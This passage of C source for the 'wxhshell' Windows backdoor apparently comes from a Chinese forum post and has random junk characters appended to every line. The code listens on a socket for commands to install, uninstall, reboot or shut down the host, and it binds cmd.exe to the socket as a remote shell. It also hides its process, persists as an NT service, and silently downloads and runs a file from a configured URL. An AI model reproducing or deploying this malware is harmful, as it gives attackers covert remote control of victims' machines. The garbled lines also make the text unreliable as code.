  else !2U7gVt"*  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  zn;Hs]G  
  } 5@t uo`k  
  else { A+1]Ql)$  
c$<O0dI  
    switch(cmd[0]) { To{G#QEgG  
  xc<eU`-' b  
  // 帮助 1S]gD&V  
  case '?': { IH5} Az  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :Z]hI+7  
    break; ~7 L)n  
  } UEQ'D9  
  // 安装 r]O@HVbt$  
  case 'i': { fQTA@WAr  
    if(Install()) imCl{vt(kj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o7a6 )2JK  
    else mc=! X  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Jat^iFj0  
    break; Q()RO*9  
    } QDgEJ%U-  
  // 卸载 QD;f~fZ  
  case 'r': { (6#yw`\  
    if(Uninstall()) MD ?F1l"}%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X)iWb(@k"7  
    else B 6'%J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &Bz7fKCo  
    break; uyRA`<&w  
    } 7}tZ?vD  
  // 显示 wxhshell 所在路径 t6g)3F7T  
  case 'p': { pg}+lYGP  
    char svExeFile[MAX_PATH]; .UhBvHH  
    strcpy(svExeFile,"\n\r"); ZDkD%SCy  
      strcat(svExeFile,ExeFile); rE{Xo:Cf  
        send(wsh,svExeFile,strlen(svExeFile),0); CVSsB:H6e  
    break; s@)"IdSA(  
    } EfBVu  
  // 重启 Ril21o! j  
  case 'b': { &Wz`>qYL*  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); BUA6(  
    if(Boot(REBOOT)) qzlMn)e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zhX`~){N6  
    else { HMS9y%zl/  
    closesocket(wsh); :OQ:@Yk  
    ExitThread(0); #C,f/PXfaB  
    } bu"68A;>  
    break; ic0v*Y$  
    } ,+f0cv4  
  // 关机 m~j\?mb{+  
  case 'd': { ~Ri u*<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 01{r^ZT`RH  
    if(Boot(SHUTDOWN)) ?y*+^E0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |N=@E,33  
    else { [ 4Y `O  
    closesocket(wsh); `k}l$ih`X  
    ExitThread(0); e9Ul A  
    } Il^ \3T+  
    break; BvZ^^IUb  
    } <` p75B  
  // 获取shell oLqbR?  
  case 's': { 2htA7V*dD  
    CmdShell(wsh); !,6v=n[Nz  
    closesocket(wsh); _D2bGZN  
    ExitThread(0); Y7:Y{7E7  
    break; [6_Du6\h  
  } -Nlf~X  
  // 退出 Dd5xXs+c  
  case 'x': { lA.;ZD!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aO^:dl5  
    CloseIt(wsh); J%\~<_2ny  
    break; x'@32gv  
    } =(|xU?OL  
  // 离开 zOiY0`=  
  case 'q': { /\-2l+y>J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); N,/BudF o  
    closesocket(wsh); AJ#m6`M+EK  
    WSACleanup(); .W@(nQ-<  
    exit(1); $['7vcB^  
    break; E/dO7I`B   
        } &G pA1  
  } jr[<i\!  
  } |,1bkJt  
U7]<U-.&  
  // 提示信息 1~R$$P11[9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); R*Xu( 89  
} 0tW<LR-}E  
  } Pn+IJ=0Y  
,XeyE;||  
  return; U50s!Z t45  
} iBKb/Oi6  
f E.L  
// shell模块句柄 s,$Z ("B  
int CmdShell(SOCKET sock) sw41wj  
{ tIyuzc~U  
STARTUPINFO si; Y3P.|  
ZeroMemory(&si,sizeof(si)); ] ;pf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ]<8B-D?Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8NaL{j1`  
PROCESS_INFORMATION ProcessInfo; @ kJ0K  
char cmdline[]="cmd"; w*<Y$hnBzF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,W1a<dl  
  return 0; BLL]^qN;Y  
} "+n4c'  
_}I(U?Q-C  
// 自身启动模式 + %MO7vL  
int StartFromService(void) (Pk"NEP   
{ pwFU2}I  
typedef struct c?!YFm  
{ /lS+J(I  
  DWORD ExitStatus; /B,:<&_-  
  DWORD PebBaseAddress; RHwaJ;:)#  
  DWORD AffinityMask; <2)s<S.;  
  DWORD BasePriority; yHWi [7$  
  ULONG UniqueProcessId; *%T)\\H2  
  ULONG InheritedFromUniqueProcessId; 6WE&((r ^  
}   PROCESS_BASIC_INFORMATION; ^s^ JzFw  
XOysgX0g  
PROCNTQSIP NtQueryInformationProcess; 5!'R'x5e  
p{ @CoOn  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mVv\bl?<  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G}!7tU  
OuOk=  
  HANDLE             hProcess; ,&.W6sW  
  PROCESS_BASIC_INFORMATION pbi; Z0 [)u_<  
;dqk@@O"(  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); JQ) 4}t  
  if(NULL == hInst ) return 0; gEr4zae  
Si?$\H*:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); <i_> y~v`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x],8yR)R  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); O!+nF]V4f  
L@{!r=%_>  
  if (!NtQueryInformationProcess) return 0; lQV|U;~D  
_ yfdj[Ot`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); uQGz;F x  
  if(!hProcess) return 0; AVXX\n\_  
AIZW@Nq.5  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "wA0 LH_  
V I6\   
  CloseHandle(hProcess); M"=8O>NZ2  
CY*ngi&  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V#ndyUM;  
if(hProcess==NULL) return 0; kCima/+_  
pOqGAD{D$  
HMODULE hMod; .M DYGWKt  
char procName[255]; 7"ylN"syZ  
unsigned long cbNeeded; ,M\j%3  
J0^{,eY<  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 2.[_t/T  
"| K f'/r  
  CloseHandle(hProcess); \*f;!{P{  
#*!+b  
if(strstr(procName,"services")) return 1; // 以服务启动 (Ij0AeJ#  
![^EsgEB*  
  return 0; // 注册表启动 z 0~j  
} _9D|u<D  
9pWi.J  
// 主模块 #F_'}?09%  
int StartWxhshell(LPSTR lpCmdLine) Dn~Z SrJ  
{ Zxg1M  
  SOCKET wsl; SHMl%mw  
BOOL val=TRUE; <"* "1(wN  
  int port=0; ZhH+D`9  
  struct sockaddr_in door; hVMYB_<~  
 X ?tj$  
  if(wscfg.ws_autoins) Install(); Q]< (bD.7  
+"'F Be  
port=atoi(lpCmdLine); y^2#9\}K  
tf4*R_6;1$  
if(port<=0) port=wscfg.ws_port; yZq?B  
LO"_NeuL  
  WSADATA data; 's)fO#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; G49Ng|qn  
bfFmTI$,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @ru<4`h  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); |2z}Xm5\  
  door.sin_family = AF_INET; jvu N  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xN6>2e  
  door.sin_port = htons(port); A2Q[%A  
M]c7D`%s  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CE)*qFs  
closesocket(wsl); :`D'jF^S  
return 1; L >SZgmV+  
} X]qCS0GD'  
_3|6ZO  
  if(listen(wsl,2) == INVALID_SOCKET) { #C4|@7w%  
closesocket(wsl); :]'q#$!  
return 1; p~h4\ .*`  
} Hw Z^D= A  
  Wxhshell(wsl); 0z/h+,  
  WSACleanup(); xJ-*%'(KZ  
gWkjUz )  
return 0; |V lMma z  
8=:A/47=J  
} +4Q[N;[+*  
XTV0Le\f  
// 以NT服务方式启动 B$ui:R/ t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pjACFVMFX  
{ zt?h^zf}  
DWORD   status = 0; (#oYyM]  
  DWORD   specificError = 0xfffffff; hGvqT,'  
d>&\V)E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; @d&g/ccMxd  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 'GkvUrD9D$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <KtBv Ip]  
  serviceStatus.dwWin32ExitCode     = 0; %*6RzJO6  
  serviceStatus.dwServiceSpecificExitCode = 0; sc%dh?m7  
  serviceStatus.dwCheckPoint       = 0; H.:9:I[n  
  serviceStatus.dwWaitHint       = 0; KGu= ;  
~x'zX-@rC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); qYiv   
  if (hServiceStatusHandle==0) return; +$PFHXB  
Mq@}snp"S  
status = GetLastError(); l8^y]M  
  if (status!=NO_ERROR) q-YL]PgV  
{ Q\|18wkW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 6J\q`q(W(  
    serviceStatus.dwCheckPoint       = 0; Lx%:t YZ  
    serviceStatus.dwWaitHint       = 0; HcA[QBh  
    serviceStatus.dwWin32ExitCode     = status; #pX8{Tf[  
    serviceStatus.dwServiceSpecificExitCode = specificError; v;Es^ YI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); pajy#0 U  
    return; 6+iK!&+=  
  } n'yl)HA~>`  
8)pB_en3sO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tv\HAK<N  
  serviceStatus.dwCheckPoint       = 0; ~ 7}]  
  serviceStatus.dwWaitHint       = 0; /_q#a h  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); M|k&TTV  
} .3@Ng  
to'j2jP  
// 处理NT服务事件,比如:启动、停止 (etUEb^}T  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 45) D+  
{ };rm3;~ eg  
switch(fdwControl) 9\AS@SH{^T  
{ wlrIgn%  
case SERVICE_CONTROL_STOP: VG)="g[%)  
  serviceStatus.dwWin32ExitCode = 0; x9%-plP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \ n_3Bwd~  
  serviceStatus.dwCheckPoint   = 0; 1aq2aLx  
  serviceStatus.dwWaitHint     = 0; zks#EzQ  
  { ;, rnk-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N!L'W\H,  
  } Pu..NPl+  
  return; ds]?;l"  
case SERVICE_CONTROL_PAUSE: |<rfvsQ.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; T%kKVr  
  break; dQ<(lzS~  
case SERVICE_CONTROL_CONTINUE: g5}lLKT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <GaT|Hhc=  
  break; 0~]QIdu{AR  
case SERVICE_CONTROL_INTERROGATE: #EG?9T  
  break; 1i3V!!r  
}; WNa3^K/W{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^X &)'H  
} &dRjqn^&X  
b66R}=P l  
// 标准应用程序主函数 [/OQyb4F<  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) xl8#=qmCD  
{ y\#o2PVmY  
sL i*SR  
// 获取操作系统版本 3u_oRs  
OsIsNt=GetOsVer(); @Dj:4  
GetModuleFileName(NULL,ExeFile,MAX_PATH); c4 5?St  
@8zT'/$  
  // 从命令行安装  P?J kP  
  if(strpbrk(lpCmdLine,"iI")) Install(); /PqUXF  
(;UP%H>  
  // 下载执行文件 /lJjQ]c;>  
if(wscfg.ws_downexe) { 59i]  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z h%qS~8Yv  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2ce'fMV  
} G#0,CLGN^  
#ZlM?Q  
if(!OsIsNt) { ZoxS*Xk  
// 如果时win9x,隐藏进程并且设置为注册表启动 \f"1}f  
HideProc(); *S4aF*Qk  
StartWxhshell(lpCmdLine); TKOP;[1h  
} \XS]N_}8>  
else sJ~P:g  
  if(StartFromService()) c&*l"  
  // 以服务方式启动 hk} t:<  
  StartServiceCtrlDispatcher(DispatchTable); h$Tr sO  
else t77'fm  
  // 普通方式启动 TsD;Kl1  
  StartWxhshell(lpCmdLine); v459},!P  
3ji:O T  
return 0; + |C=ZU  
}
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只看该作者 1 发表于: 2006-10-10
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